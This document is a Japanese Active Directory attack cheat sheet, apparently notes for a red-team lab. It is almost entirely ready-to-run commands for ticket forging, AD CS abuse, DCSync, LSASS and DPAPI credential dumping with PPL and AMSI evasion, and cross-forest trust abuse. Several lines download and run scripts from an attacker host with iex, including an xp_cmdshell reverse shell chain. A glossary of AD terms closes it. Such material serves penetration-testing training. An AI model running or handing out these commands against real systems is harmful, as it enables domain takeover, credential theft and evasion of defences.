.\Loader.exe -path .\Rubeus.exe -args diamond /krbkey:<hash> /tgtdeleg /enctype:aes /ticketuser:administrator /domain:<domainFQDN> /dc:<dcFQDN> /ticketuserid:500 /groups:512 /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
3-7. AD CS 悪用
ESC1(同一フォレスト)
# [Certify] Administrator として証明書を要求(SAN に任意ユーザーを指定)
.\Certify.exe request /ca:<domain>\<CA-Name> /template:<vulnerableTemplate> /altname:administrator
# [openssl] PEM を PFX に変換
.\openssl\openssl.exe pkcs12 -in .\esc1.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out .\esc1-DA.pfx
# [Rubeus] 証明書で TGT を要求
.\Loader.exe -path .\Rubeus.exe -args asktgt /user:administrator /certificate:".\esc1-DA.pfx" /password:<pfxPassword> /ptt
ESC1(クロスフォレスト)
前提: 対象ドメインの Administrator の SID が必要(Strong Certificate Mapping バイパスのため)。
# [ADModule] ターゲットドメインの Administrator の SID を取得
Get-ADUser -Identity administrator -Server <targetDomain> | Select SamAccountName, SID
# [certipy] 対象ドメインの SID を埋め込んで証明書を申請
certipy req -k -u <attackerUser>@<domain> -ca <CA-Name> -template <vulnerableTemplate> -upn Administrator@<targetDomain> -sid <targetDomainAdminSID> -target <caServerFQDN>
# [certipy] 証明書で認証し TGT と NTLM ハッシュを取得
certipy auth -pfx ./administrator.pfx -dc-ip <targetDcIP>
# [Rubeus] kirbi をインポート
.\Loader.exe -Path .\Rubeus.exe -args ptt /ticket:<kirbiFile>
3-8. DCSync
# [PowerView] DCSync 権限を確認
Get-DomainObjectAcl -Identity 'DC=<domain>,DC=<tld>' -ResolveGUIDs | Where-Object {
$_.ObjectAceType -match 'DS-Replication-Get-Changes'
} | Select @{Name='Identity'; Expression={ ConvertFrom-SID $_.SecurityIdentifier }}, ObjectAceType
# [PowerView] DCSync 権限を付与(WriteDACL 権限がある場合)
Add-DomainObjectAcl -TargetIdentity 'DC=<domain>,DC=<tld>' -PrincipalIdentity <username> -Rights DCSync -PrincipalDomain <domain> -TargetDomain <domain> -Verbose
# [SafetyKatz] krbtgt の AES256 をダンプ
.\Loader.exe -path .\SafetyKatz.exe -args "lsadump::evasive-dcsync /user:<domain>\krbtgt /domain:<domain>" "exit"
# [DSInternals] 信頼アカウントのハッシュをダンプ(クロスフォレスト攻撃で使用)
Import-Module .\DSInternals_v5.3\DSInternals\DSInternals.psd1
Get-ADReplAccount -SamAccountName <trustAccountName> -Server <dcFQDN>
# [SafetyKatz] TDO の GUID を指定して信頼キーをダンプ
.\Loader.exe -Path .\SafetyKatz.exe -args "lsadump::evasive-dcsync /guid:{<TDO-GUID>} /domain:<domain> /dc:<dcFQDN>" "exit"
4. クレデンシャルダンプ
まずはPPLの保護が有効かどうか確認をする。
- 無効の場合:SafetyKatzによるダンプを行う
- 有効の場合:PPLBladeによるダンプを行う
# 0x1:有効、0x0もしくは表示されない:無効
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL
4-0. SeatBelt
# 環境情報の列挙
.\Loader.exe -path http://127.0.0.1:8080/Seatbelt.exe -args WindowsAutoLogon EnvironmentVariables PowerShellHistory
# クレデンシャル系の列挙
.\Loader.exe -path http://127.0.0.1:8080/Seatbelt.exe -args CredEnum WindowsVault WindowsCredentialFiles RDPSavedConnections PuttySessions PuttyHostKeys RDCManFiles
# インストール済みプログラムの列挙
Loader.exe -path http://127.0.0.1:8080/Seatbelt.exe -args InstalledProducts
4-1. Kerberoast / AS-REP Roasting
# [Rubeus] Kerberos チケットをダンプして Overpass-the-Hash
.\Loader.exe -path .\Rubeus.exe -args triage
.\Loader.exe -path .\Rubeus.exe -args dump /luid:<luid> /nowrap
# [Rubeus] Kerberoast(SPN を持つアカウントのハッシュを取得)
.\Loader.exe -path .\Rubeus.exe -args kerberoast /user:<targetUser> /simple /rc4opsec /outfile:.\hashes.txt
# [Rubeus] AS-REP Roasting(Kerberos 事前認証不要なアカウント)
.\Loader.exe -path .\Rubeus.exe -args asreproast /user:<targetUser> /outfile:.\hash.txtbl
# [john] オフラインクラック(Kali Linux)
john --wordlist=/path/to/wordlist.txt ./hashes.txt
# [PowerView] Targeted Kerberoast(書き込み権限がある場合に SPN を設定)
Set-DomainObject -Identity <targetUser> -Set @{serviceprincipalname='fake/spn'}
.\Loader.exe -path .\Rubeus.exe -args kerberoast /user:<targetUser> /simple /outfile:.\hashes.txt
4-2. LSASS ダンプ
PPLによる保護が無効の場合
# [SafetyKatz] LSASS からKerberos 認証鍵を取得
.\Loader.exe -path .\SafetyKatz.exe -args "sekurlsa::evasive-keys" "exit"
# [SafetyKatz] LSASS から全ログオンセッションの認証情報を取得
.\Loader.exe -path .\SafetyKatz.exe -args "sekurlsa::logonpasswords" "exit"
# [SafetyKatz] LSA Secrets をダンプ(サービスアカウントの平文パスワード等)
.\Loader.exe -path .\SafetyKatz.exe -args "lsadump::evasive-lsa /patch" "exit"
.\Loader.exe -path .\SafetyKatz.exe -args "privilege::debug" "token::elevate" "lsadump::secrets" "exit"
# [SafetyKatz] Windows 資格情報マネージャーをダンプ
.\Loader.exe -path .\SafetyKatz.exe -args "token::elevate" "vault::cred /patch" "exit"
# [SafetyKatz] リモートマシンで実行
$null | winrs -r:<hostname> "cmd /c C:\Users\Public\Loader.exe -path http://127.0.0.1:8080/SafetyKatz.exe sekurlsa::evasive-keys exit"
PPLによる保護が有効の場合
# 検知回避のためにシェルコードを生成する
donut.exe -a 2 -f 1 -i PPLBlade.exe -b 1 -p "--mode dump --name lsass.exe --obfuscate"
# メモリにロードして実行させる
DonutShellcodeLoader.exe 127.0.0.1 8080 loader.bin
# 難読化を解除する
python deobfuscate.py --dumpname PPLBlade.dmp
# 解析する
pypykatz.exe lsa minidump decrypted.dmp
4-3. DPAPI
# [SharpDPAPI] Machine Credentials をダンプ(Scheduled Task に保存された平文パスワードを取得)
.\Loader.exe -path .\SharpDPAPI.exe -args machinecredentials
# [SharpDPAPI] DPAPI バックアップキーを取得(DA 権限が必要)
.\Loader.exe -path .\SharpDPAPI.exe -args backupkey /nowrap
# [SharpDPAPI] KeePass データベースを復号
.\Loader.exe -path .\SharpDPAPI.exe -args keepass {<masterKeyGUID>}:<masterKeyHash>
4-4. gMSA
# [ADModule] gMSA のパスワード Blob を取得(読み取り権限が必要)
Import-Module .\ADModule\ActiveDirectory\ActiveDirectory.psd1
$Passwordblob = (Get-ADServiceAccount -Identity <gMSAname> -Properties msDS-ManagedPassword).'msDS-ManagedPassword'
# [DSInternals] パスワードを NTLM ハッシュに変換
Import-Module .\DSInternals_v5.3\DSInternals\DSInternals.psd1
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword
4-5. Kerberos チケット操作
# [Rubeus] 現在のチケットを一覧表示(LUID と対象を確認)
.\Loader.exe -path .\Rubeus.exe -args triage
# [Rubeus] 特定 LUID のチケットをダンプ
.\Loader.exe -path .\Rubeus.exe -args dump /luid:<luid> /nowrap
# [Rubeus] TGT から特定サービスの TGS を要求
.\Loader.exe -path .\Rubeus.exe -args asktgs /service:<serviceSPN> /luid:<luid> /nowrap
# [Rubeus] チケットをインポート
.\Loader.exe -path .\Rubeus.exe -args ptt /ticket:<base64Ticket>
4-6. ブラウザ・証明書ストア
# [ChromeElevator] Chrome の資格情報をダンプ
.\chromelevator_x64.exe all
# [certutil] 証明書ストアを確認
certutil -store My
5. 横展開
5-1. プロセス起動(資格情報付き)
# [OS コマンド] 平文パスワードがある場合(/netonly でネットワーク認証のみ変更)
runas /user:<domain>\<username> /netonly cmd
# [Rubeus] AES256 ハッシュがある場合
.\Loader.exe -path .\Rubeus.exe -args asktgt /user:<username> /aes256:<hash> /opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
5-2. リモート接続
片方失敗してももう片方で成功する場合があるため両方試す。OPSEC 考慮なら winrs を優先。
認証方式の使い分け:
| 状況 | 使うべき認証方式 |
|---|---|
| ホスト名で接続・ダブルホップ不要 | デフォルト(Kerberos) |
| IP アドレスで接続(DNS なし環境) |
NegotiateWithImplicitCredential + runas /netonly
|
| ダブルホップが必要(A→B→C と認証を連鎖させる) |
CredSSP(平文パスワードが必要) |
# [winrs] WinRM によるリモートシェルアクセス
winrs -r:<hostname> cmd
# [winrs] アカウントを指定して接続
winrs -r:<hostname> -u:<domain>\<username> -p:<password> cmd
# [PowerShell] PowerShell Remoting によるリモートシェルアクセス
Enter-PSSession -ComputerName <hostname>
# [PowerShell] IP アドレスに接続(DNS がない環境向け)
# NegotiateWithImplicitCredential: runas /netonly で起動したプロセスの NTLM ハッシュを使用
Enter-PSSession <IPAddress> -Authentication NegotiateWithImplicitCredential
# [PowerShell] CredSSP 認証(ダブルホップ問題を解決する)
$password = ConvertTo-SecureString '<password>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('<domain>\<username>', $password)
$session = New-PSSession -ComputerName <hostname> -Credential $cred -Authentication Credssp
Enter-PSSession -Session $session
# [CredSSP] クライアント側の設定確認
Get-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\WinRM\Client" -Name "AllowCredSSP"
Get-Item WSMan:\localhost\Client\TrustedHosts
# [CredSSP] TrustedHosts を設定(IP アドレス接続が必要な場合)
Set-Item WSMan:\localhost\Client\TrustedHosts * -Force
# [winrs] ポートフォワーディング設定
winrs -r:<hostname> cmd /c "netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=<attackerIP>"
5-3. グループへの追加
# [PowerView] グループにメンバーを追加
Add-DomainGroupMember -Identity <targetGroup> -Members <targetUser>
# [ADModule] グループにメンバーを追加
Add-ADGroupMember -Identity <targetGroup> -Members <targetUser>
5-4. MSSQL によるリバースシェル
# [PowerUpSQL] xp_cmdshell 経由でリバースシェルを取得
Get-SQLServerLinkCrawl -Instance <Instance> -Query 'exec master..xp_cmdshell ''powershell -c "iex (iwr -UseBasicParsing http://<attackerIP>/sbloggingbypass.txt);iex (iwr -UseBasicParsing http://<attackerIP>/amsibypass.txt);iex (iwr -UseBasicParsing http://<attackerIP>/Invoke-PowerShellTcpEx.ps1)"'''
# [PowerUpSQL] 末端ノードを指定してリバースシェルを取得
Get-SQLServerLinkCrawl -Instance <Instance> -Query 'exec master..xp_cmdshell ''<command>''' -QueryTarget <targetNode>
# [Invoke-SqlCmd] リンク先 DB の xp_cmdshell を有効化(リバースシェルから実行)
Invoke-SqlCmd -Query "exec sp_serveroption @server='<targetDB>', @optname='rpc', @optvalue='TRUE'"
Invoke-SqlCmd -Query "exec sp_serveroption @server='<targetDB>', @optname='rpc out', @optvalue='TRUE'"
Invoke-SqlCmd -Query "EXECUTE ('sp_configure ''show advanced options'',1;reconfigure;') AT ""<targetDB>"""
Invoke-SqlCmd -Query "EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure') AT ""<targetDB>"""
5-5. OU 間のオブジェクト移動
用途: GPO を特定アカウントに適用させるため、そのアカウントを対象 OU に移動する。
# [ADModule] ユーザーを別 OU に移動
Import-Module .\ADModule\ActiveDirectory\ActiveDirectory.psd1
Move-ADObject -Identity "CN=<username>,OU=<currentOU>,DC=<domain>,DC=<tld>" -TargetPath "OU=<targetOU>,DC=<domain>,DC=<tld>"
6. クロスフォレスト攻撃
6-1. 信頼キーによる Inter-Realm TGT 偽造(子→親 / フォレスト間)
用途: 子ドメインの DA から親ドメインの EA へ、またはフォレスト間の横断に使用。
# [ADModule] TDO (Trusted Domain Object) の GUID を列挙
Get-ADObject -LDAPFilter '(objectClass=trustedDomain)' -Properties * | Select name, objectguid, @{Name='Direction'; Expression={ switch ($_.trustDirection) { 1 {'Inbound'} 2 {'Outbound'} 3 {'Bidirectional'} } }}, @{Name='Type'; Expression={ switch ($_.trustType) { 1 {'Windows NT'} 2 {'Active Directory'} 3 {'MIT'} } }} | Format-Table -AutoSize
# [SafetyKatz] TDO の GUID を指定して信頼キーをダンプ([ In ] の aes256_hmac を取得)
.\Loader.exe -Path .\SafetyKatz.exe -args "lsadump::evasive-dcsync /guid:{<TDO-GUID>} /domain:<sourceDomain> /dc:<sourceDcFQDN>" "exit"
# [PowerView] ターゲットドメインの SID を取得(EA の SID = ドメイン SID + -519)
Get-DomainSID -Domain <targetDomain>
# [Rubeus] SID History に EA SID を埋め込んで Inter-Realm TGT を偽造
.\Loader.exe -path .\Rubeus.exe -args silver /user:Administrator /ldap /service:krbtgt/<sourceDomainFQDN> /aes256:<trustKeyAES256> /sids:<targetDomainSID>-519 /nowrap
# [Rubeus] 偽造した Inter-Realm TGT から TGS を要求
.\Loader.exe -path .\Rubeus.exe -args asktgs /service:cifs/<targetDcFQDN> /dc:<targetDcFQDN> /ticket:<base64InterRealmTGT> /ptt
6-2. クロスフォレスト RBCD
前提: 他フォレストのコンピューターへの Write 権限が必要(クロスフォレスト ACL 誤設定)。信頼アカウントで他フォレストに認証できる。
# [PowerView] 自ドメインの SID を持つアカウントが他ドメインに Write 権限を持つか確認
$mySID = Get-DomainSID
Get-DomainObjectAcl -Domain <targetDomain> -ResolveGUIDs | Where-Object { $_.SecurityIdentifier -match $mySID } | Select ObjectDN, ActiveDirectoryRights, @{Name='Identity'; Expression={ ConvertFrom-SID $_.SecurityIdentifier }}
# [DSInternals] 信頼アカウント(EU$, US$ など)の AES256 をダンプ
Import-Module .\DSInternals_v5.3\DSInternals\DSInternals.psd1
Get-ADReplAccount -SamAccountName <trustAccount>$ -Server <localDcFQDN>
# [Rubeus] 信頼アカウントとして対象フォレストに TGT を取得
.\Loader.exe -path .\Rubeus.exe -args asktgt /user:<trustAccount>$ /aes256:<AES256> /domain:<targetDomain> /opsec /outfile:<trustAccount>.tgt
# [Rubeus] TGT をインポート
.\Loader.exe -path .\Rubeus.exe -args ptt /ticket:<trustAccount>.tgt
# [Powermad] 対象フォレストにコンピューターアカウントを作成
New-MachineAccount -Domain <targetDomain> -MachineAccount attackerPC -Password $(ConvertTo-SecureString 'P@ssw0rdRBCD!!' -AsPlainText -Force)
# [ADModule] ターゲットコンピューターに RBCD を設定(Write 権限を持つアカウントのプロセスで実行)
$comps = 'attackerPC$'
Set-ADComputer -Identity <targetComputerName> -Server <targetDomain> -PrincipalsAllowedToDelegateToAccount $comps
# [Rubeus] attackerPC$ の AES256 を算出
.\Loader.exe -Path .\Rubeus.exe -args hash /user:attackerPC$ /password:P@ssw0rdRBCD!! /domain:<targetDomain>
# [Rubeus] attackerPC$ の TGT を取得
.\Loader.exe -path .\Rubeus.exe -args asktgt /user:attackerPC$ /aes256:<AES256> /domain:<targetDomain> /opsec /outfile:attackerPC.kirbi
# [Rubeus] S4U2Self + S4U2Proxy で Administrator の TGS を取得
.\Loader.exe -path .\Rubeus.exe -args s4u /user:attackerPC$ /domain:<targetDomain> /msdsspn:cifs/<targetFQDN> /impersonateuser:administrator /altservice:http,host,cifs /dc:<targetDcFQDN> /ptt /ticket:attackerPC.kirbi
6-3. SID History を悪用したクロスフォレストアクセス(RID > 1000)
用途: SID Filtering 環境でも RID > 1000 のカスタムグループ SID は通過できる(TREAT_AS_EXTERNAL 信頼)。
# [PowerView] 対象フォレストの RID > 1000 のグループを列挙
Get-DomainGroup -Domain <targetDomain> | Where-Object { [int]($_.objectsid -split '-')[-1] -gt 1000 } | Select name, objectsid
# [ADModule] 同等の確認(ADModule 版)
Get-ADGroup -Filter 'SID -ge "S-1-5-21-<domainID>-1000"' -Server <targetDomain> | Select Name, SID
# [Rubeus] 対象グループの SID を /sids に埋め込んで Inter-Realm TGT を偽造
.\Loader.exe -path .\Rubeus.exe -args silver /user:Administrator /ldap /service:krbtgt/<sourceDomain> /aes256:<trustKeyAES256> /sids:<targetGroupSID> /nowrap
# [Rubeus] 偽造した TGT から HOST チケットを要求してアクセス
.\Loader.exe -path .\Rubeus.exe -args asktgs /service:host/<targetMachineFQDN> /dc:<targetDcFQDN> /ticket:<base64InterRealmTGT> /ptt
6-4. PAM Trust 悪用
観点:
SIDFilteringQuarantined=False+ForestTransitive=True= PAM Trust。bastion フォレストの管理者が本番フォレストの特権グループに Shadow Principal として登録されている。
# [ADModule] PAM Trust の確認(bastion-dc 上で実行)
Get-ADTrust -Filter {(ForestTransitive -eq $True) -and (SIDFilteringQuarantined -eq $False)}
# [ADModule] Shadow Principal の確認(どのユーザーがどの特権グループにマッピングされているか)
Get-ADObject -SearchBase ("CN=Shadow Principal Configuration,CN=Services," + (Get-ADRootDSE).configurationNamingContext) -Filter * -Properties * | select Name, member, 'msDS-ShadowPrincipalSid' | fl
# [ADModule] 対象ドメインの DC の IP を確認(DNS エントリがない場合に必要)
Get-DnsServerZone -ZoneName <targetDomain> | fl *
# [SharpDPAPI] bastion の Scheduled Task から平文パスワードを取得(bastion-dc 上で実行)
.\Loader.exe -path .\SharpDPAPI.exe -args machinecredentials
# [OS コマンド] 取得した平文パスワードで /netonly プロセスを起動
# (Shadow Principal 経由で対象フォレストに EA/DA として認証される)
runas /user:<bastionDomain>\administrator /netonly powershell
# [PowerShell] /netonly プロセス内から対象 DC に NegotiateWithImplicitCredential で接続(IP アドレスで接続)
Set-Item WSMan:\localhost\Client\TrustedHosts * -Force
Enter-PSSession <targetDcIP> -Authentication NegotiateWithImplicitCredential
# [PowerShell] CredSSP で接続(ダブルホップが必要な場合・FQDN で接続できる場合)
$password = ConvertTo-SecureString '<password>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('<domain>\administrator', $password)
$session = New-PSSession -ComputerName <targetDcFQDN> -Credential $cred -Authentication Credssp
Enter-PSSession -Session $session
6-5. 信頼アカウントの逆方向悪用(Trusting → Trusted)
用途: production.local から bastion.local へ、「信頼される側から信頼する側へ」の逆方向アクセス。
# [DSInternals] bastion.local 側の PRODUCTION$ 信頼アカウントをダンプ(bastion の DA 権限が必要)
Import-Module .\DSInternals_v5.3\DSInternals\DSInternals.psd1
Get-ADReplAccount -SamAccountName PRODUCTION$ -Server <bastionDcFQDN>
# [Rubeus] PRODUCTION$ として bastion.local の TGT を要求
# production-dc の CredSSP セッション内で実行(ダブルホップ解決済みの環境で実行)
.\Loader.exe -path .\Rubeus.exe -args asktgt /user:PRODUCTION$ /domain:BASTION.LOCAL /aes256:<AES256> /dc:<bastionDcFQDN> /opsec /force /nowrap /ptt
# bastion.local の SYSVOL にアクセスできれば逆方向アクセス成功
ls \\<bastionDcFQDN>\SYSVOL
7. 特殊攻撃手法
7-1. Entra Connect 侵害
# [PS スクリプト] MSOL_* アカウントの平文パスワードを取得(us-adconnect 上で実行)
iex ((New-Object Net.WebClient).DownloadString('http://<attackerIP>/adconnect_mod.ps1'))
# [MSOL_*] 取得したパスワードで DCSync を実行
.\Loader.exe -Path .\SafetyKatz.exe -args "lsadump::evasive-dcsync /domain:<rootDomain> /dc:<rootDcFQDN> /user:<rootDomain>\krbtgt" "exit"
# [certcheck] sMSA の証明書ストアを確認(xp_cmdshell 経由で実行)
# ConnectSyncProvisioning_* 証明書の存在を確認する
# [addkeyexec] 証明書を抽出(SyncSPCert.pfx として保存)
# sMSA コンテキストの SQL Server の xp_cmdshell 経由で実行
# [PowerShell] 証明書で Entra ID に認証
Connect-AzAccount -ServicePrincipal -Tenant <tenantID> -ApplicationId <clientID> -CertificatePath <pfxPath>
# [PowerShell] アクセストークンを取得
$entrasynctoken = (Get-AzAccessToken -ResourceUrl 6bf85cfa-ac8a-4be5-b5de-425a0d0dc016).Token
# [AADInternals] 対象クラウドユーザーの ImmutableId を取得(objectGUID の Base64 エンコード)
[Convert]::ToBase64String((Get-ADUser -Identity <cloudUser> -Properties objectGUID).objectGUID.ToByteArray())
# [AADInternals] クラウドユーザーのパスワードをリセット
Set-AADIntUserPassword -SourceAnchor "<ImmutableId>" -Password "<newPassword>" -AccessToken $plaintextentrasynctoken
7-2. dMSA 悪用(BadSuccessor)
前提: dMSA オブジェクトへの Write 権限が必要。移行元アカウント(DMSAManager)が DCSync 権限を持つ場合に有効。
# [SharpSuccessor] dMSA を作成して移行元アカウントの権限を継承させる
.\SharpSuccessor.exe add /impersonate:<highPrivAccount> /path:"OU=<targetOU>,DC=<domain>,DC=<tld>" /account:<myUsername> /name:attacker_dMSA
# [Rubeus] 自分のパスワードを AES256 ハッシュに変換
.\Loader.exe -Path .\Rubeus.exe -args hash /user:<myUsername> /password:<myPassword> /domain:<domain> /nowrap
# [Rubeus] 自分の TGT を取得
.\Loader.exe -Path .\Rubeus.exe -args asktgt /user:<myUsername> /aes256:<hash> /domain:<domain> /opsec /force /outfile:.<myUsername>.tgt
# [ADModule] 移行完了フラグを設定(移行元アカウントの属性を書き換え)
Set-ADObject -Identity "CN=<highPrivAccount>,CN=Users,DC=<domain>,DC=<tld>" -Replace @{'msDS-SupersededManagedAccountLink'='CN=attacker_dMSA,OU=<targetOU>,DC=<domain>,DC=<tld>'} -Verbose
Set-ADObject -Identity "CN=<highPrivAccount>,CN=Users,DC=<domain>,DC=<tld>" -Add @{'msDS-SupersededServiceAccountState'=2} -Verbose
# [Rubeus] dMSA の TGS を取得して DCSync を実行
.\Loader.exe -Path .\Rubeus.exe -args asktgs /targetuser:attacker_dMSA$ /service:krbtgt/<domain> /opsec /dmsa /nowrap /ptt /ticket:.<myUsername>.tgt
7-3. KeePass / DPAPI
# [Seatbelt] KeePass 関連ファイルを探索
.\Loader.exe -path .\Seatbelt.exe -args keepass
# [SharpDPAPI] KeePass データベースを復号(マスターキーが必要)
.\Loader.exe -path .\SharpDPAPI.exe -args keepass {<masterKeyGUID>}:<masterKeySHA1>
# [PPLBlade] LSASS をダンプ(PPL 保護を回避)
.\PPLBlade.exe --name lsass.exe --mode dump --obfuscate
# [Python] ダンプファイルを復号
python deobfuscate.py --dumpname PPLBlade.dmp
# [pypykatz] 復号したダンプからクレデンシャルを取得
pypykatz.exe lsa minidump decrypted.dmp
8. シナリオ手順
8-1. 新しいフォレスト/ドメインへの侵入後にやること
① whoami / klist で現在の権限を確認
② Get-ForestTrust / Get-DomainTrust で信頼関係を列挙
③ Find-ForeignGroup で FSP を確認(外部ユーザーが Administrators に含まれるか)
④ Find-InterestingDomainAcl で自分の権限を確認
⑤ Get-DomainGPO で GPO を確認
⑥ Rubeus triage で現在のチケットを確認(高価値 TGT がないか)
8-2. GPO Write 権限を発見した場合
① Get-DomainOU で GPO の適用先 OU を確認
② Get-DomainObject で OU の中身を確認(ターゲットがいるか)
③ ターゲットが OU にいない場合は Move-ADObject で移動
④ Get-DomainObjectAcl でターゲットへの GenericWrite を確認
⑤ GenericWrite あり → Shadow Credentials / Targeted Kerberoast
⑥ DC が含まれる Site の GPO → SharpGPOAbuse で Scheduled Task を追加
8-3. MSSQL リンクチェーンを発見した場合
① Get-SQLServerLinkCrawl -Verbose でチェーン全体を把握
② 各ノードの IsSysadmin と User を確認
③ xp_cmdshell が有効なノードを whoami で確認
④ リバースシェルを取得
⑤ リバースシェルから次のノードの xp_cmdshell を有効化
⑥ -QueryTarget で末端ノードのリバースシェルを取得
9. Appendix
9-1. 初期列挙
# [ADModule] 自分のグループメンバーシップを再帰的に確認
Import-Module .\ADModule\ActiveDirectory\ActiveDirectory.psd1
function Get-ADPrincipalGroupMembershipRecursive ($SamAccountName) {
$groups = @(Get-ADPrincipalGroupMembership -Identity $SamAccountName | select -ExpandProperty distinguishedname)
$groups
if ($groups.count -gt 0) {
foreach ($group in $groups) { Get-ADPrincipalGroupMembershipRecursive $group }
}
}
Get-ADPrincipalGroupMembershipRecursive '<studentuserX>'
# [SharpADWS] ACL 一括キャッシュと確認
.\SharpADWS.exe Cache
.\SharpADWS.exe Acl -user > user_acls.txt
.\SharpADWS.exe DCSync -action list
# [PowerView] 自分に関係する ACL を絞り込む
Find-InterestingDomainAcl -ResolveGUIDs | Where-Object { $_.IdentityReferenceName -match '<studentuserX> or <所属グループ名>' }
# [PowerView] DCSync 権限を持つプリンシパルを確認
Get-DomainObjectAcl -Identity 'DC=us,DC=techcorp,DC=local' -ResolveGUIDs | Where-Object { $_.ObjectAceType -match 'DS-Replication-Get-Changes' } | Select @{Name='Identity'; Expression={ ConvertFrom-SID $_.SecurityIdentifier }}, ObjectAceType
9-2. LAPS の悪用
# [PowerView] LAPS v1 が読めるプリンシパルを列挙
Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | Where-Object { $_.ObjectAceType -match 'ms-Mcs-AdmPwd' } | Select ObjectDN, @{Name='Reader'; Expression={ ConvertFrom-SID $_.SecurityIdentifier }}
# [PowerView] LAPS v2 が読めるプリンシパルを列挙
Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | Where-Object {($_.ObjectAceType -like 'ms-LAPS-Password') -and ($_.ActiveDirectoryRights -match 'ReadProperty')} | ForEach-Object {$_ | Add-Member NoteProperty 'IdentityName' $(Convert-SidToName $_.SecurityIdentifier);$_}
# [PowerView] LAPS パスワードを取得(読み取り権限のあるプロセスで実行)
Get-DomainComputer -Identity <machineName> | Select ms-MCS-AdmPwd
# [ADModule] LAPS v2 パスワードを取得
Get-LapsADPassword -Identity <machineName> -AsPlainText
10. 用語解説
10.1 Active Directory 基礎
| 用語 | 解説 |
|---|---|
| AD DS | Active Directory Domain Services。ユーザー、コンピューター、グループ、GPO などを管理するディレクトリサービス。 |
| Domain | 共通のディレクトリ、認証、ポリシーを持つ管理境界。 |
| Forest | 1 つ以上のドメインを含む AD の最上位論理境界。スキーマと構成パーティションを共有する。 |
| Forest Root Domain | フォレスト作成時に最初に作られるルートドメイン。 |
| OU | Organizational Unit。ユーザーやコンピューターを整理し、GPO 適用や権限委任に使うコンテナ。 |
| DN | Distinguished Name。AD オブジェクトの一意な LDAP パス。 |
| SID | Security Identifier。ユーザー、グループ、コンピューターなどのセキュリティ主体を識別する値。 |
| RID | SID 末尾の相対 ID。ドメイン内で各主体を識別する。RID 500=Administrator, 512=Domain Admins, 519=Enterprise Admins。 |
| SPN | Service Principal Name。Kerberos がサービスを識別する名前。 |
| UPN | User Principal Name。通常は user@domain 形式のログオン名。 |
| TDO | Trusted Domain Object。信頼関係の情報を格納する AD オブジェクト。信頼キーの DCSync に GUID が必要。 |
10.2 ACL と権限
| 用語 | 解説 |
|---|---|
| ACL | Access Control List。オブジェクトに対するアクセス制御情報。 |
| ACE | ACL 内の個別エントリ。誰にどの権限を許可・拒否するかを示す。 |
| GenericAll | 対象オブジェクトに対するほぼ完全な制御。パスワードリセット・SPN 設定・Shadow Credentials・グループ追加が可能。 |
| GenericWrite | 対象オブジェクトの多くの属性を書き換えられる権限。msDS-KeyCredentialLink や msDS-AllowedToActOnBehalfOfOtherIdentity の書き換えに必要。 |
| WriteDACL | 対象の ACL 自体を書き換えられる権限。自分に GenericAll を付与できる。 |
| WriteOwner | 対象オブジェクトの所有者を変更できる権限。DACL 奪取の起点。 |
| ExtendedRight | DCSync、パスワード変更など、特定機能に対応する拡張権限。 |
| IsInherited=False | 明示的に付与された ACE。設定ミスの可能性が高く、攻撃に悪用されやすい。 |
10.3 Kerberos
| 用語 | 解説 |
|---|---|
| TGT | Ticket Granting Ticket。KDC へサービスチケットを要求するためのチケット。 |
| TGS / Service Ticket | 特定サービスへアクセスするための Kerberos チケット。 |
| KDC | Key Distribution Center。通常は DC 上で Kerberos 認証を提供する。 |
| KRBTGT | ドメイン内 TGT の署名・暗号化に使われるドメインアカウント。ハッシュを取得すれば Golden Ticket が作れる。 |
| PAC | Privilege Attribute Certificate。ユーザー SID やグループ SID などの認可情報を含む。改ざんで権限昇格が可能。 |
| LUID | Logon Unique Identifier。Windows ログオンセッションを識別する値。Rubeus の /luid で使用。 |
| Golden Ticket |
krbtgt 鍵を用いて偽造した TGT。同一ドメイン内で有効。 |
| Silver Ticket | サービスアカウント鍵を用いて偽造したサービスチケット。 |
| Inter-Realm TGT | 別ドメイン/レルムへ移動する際に発行されるドメイン間 TGT。信頼キーで署名される。Rubeus silver で偽造。 |
| S4U2Self | サービスがユーザーに代わって自分自身向けのチケットを取得する Kerberos 拡張。 |
| S4U2Proxy | S4U2Self で得たチケットを使い、別サービス向けチケットを取得する拡張。 |
10.4 委任
| 用語 | 解説 |
|---|---|
| Unconstrained Delegation | 委任先がユーザー TGT を保持できる強力な委任方式。TRUSTED_FOR_DELEGATION フラグ。 |
| Constrained Delegation | 委任先サービスを SPN で制限する方式。TRUSTED_TO_AUTH_FOR_DELEGATION フラグ。 |
| RBCD | Resource-Based Constrained Delegation。委任を受け入れる側のコンピューターオブジェクトで許可主体を指定する。msDS-AllowedToActOnBehalfOfOtherIdentity 属性で設定。 |
| MachineAccountQuota | 一般ユーザーが作成可能なコンピューターアカウント数。デフォルト 10。RBCD 攻撃でコンピューターアカウント作成に必要。 |
10.5 資格情報管理
| 用語 | 解説 |
|---|---|
| DPAPI | Windows のユーザー/マシン単位データ保護機構。Scheduled Task や KeePass の保護に使われる。SYSTEM 権限があれば SharpDPAPI で復号可能。 |
| LAPS | ローカル Administrator パスワードを AD で管理する仕組み。v1: ms-Mcs-AdmPwd, v2: msLAPS-Password。 |
| gMSA | Group Managed Service Account。AD がパスワードを自動管理。msDS-GroupMSAMembership で読み取り可能なプリンシパルを制限。 |
| dMSA | Delegated Managed Service Account。移行元アカウントの権限を継承。msDS-SupersededManagedAccountLink と msDS-SupersededServiceAccountState=2 で権限継承を設定。 |
| Shadow Credentials |
msDS-KeyCredentialLink へ鍵情報を追加し、証明書/鍵ベースで対象ユーザーとして認証する手法。GenericWrite があれば実行可能。 |
10.6 AD CS
| 用語 | 解説 |
|---|---|
| AD CS | Active Directory Certificate Services。Microsoft PKI サービス。 |
| CA | Certificate Authority。証明書を発行する認証局。 |
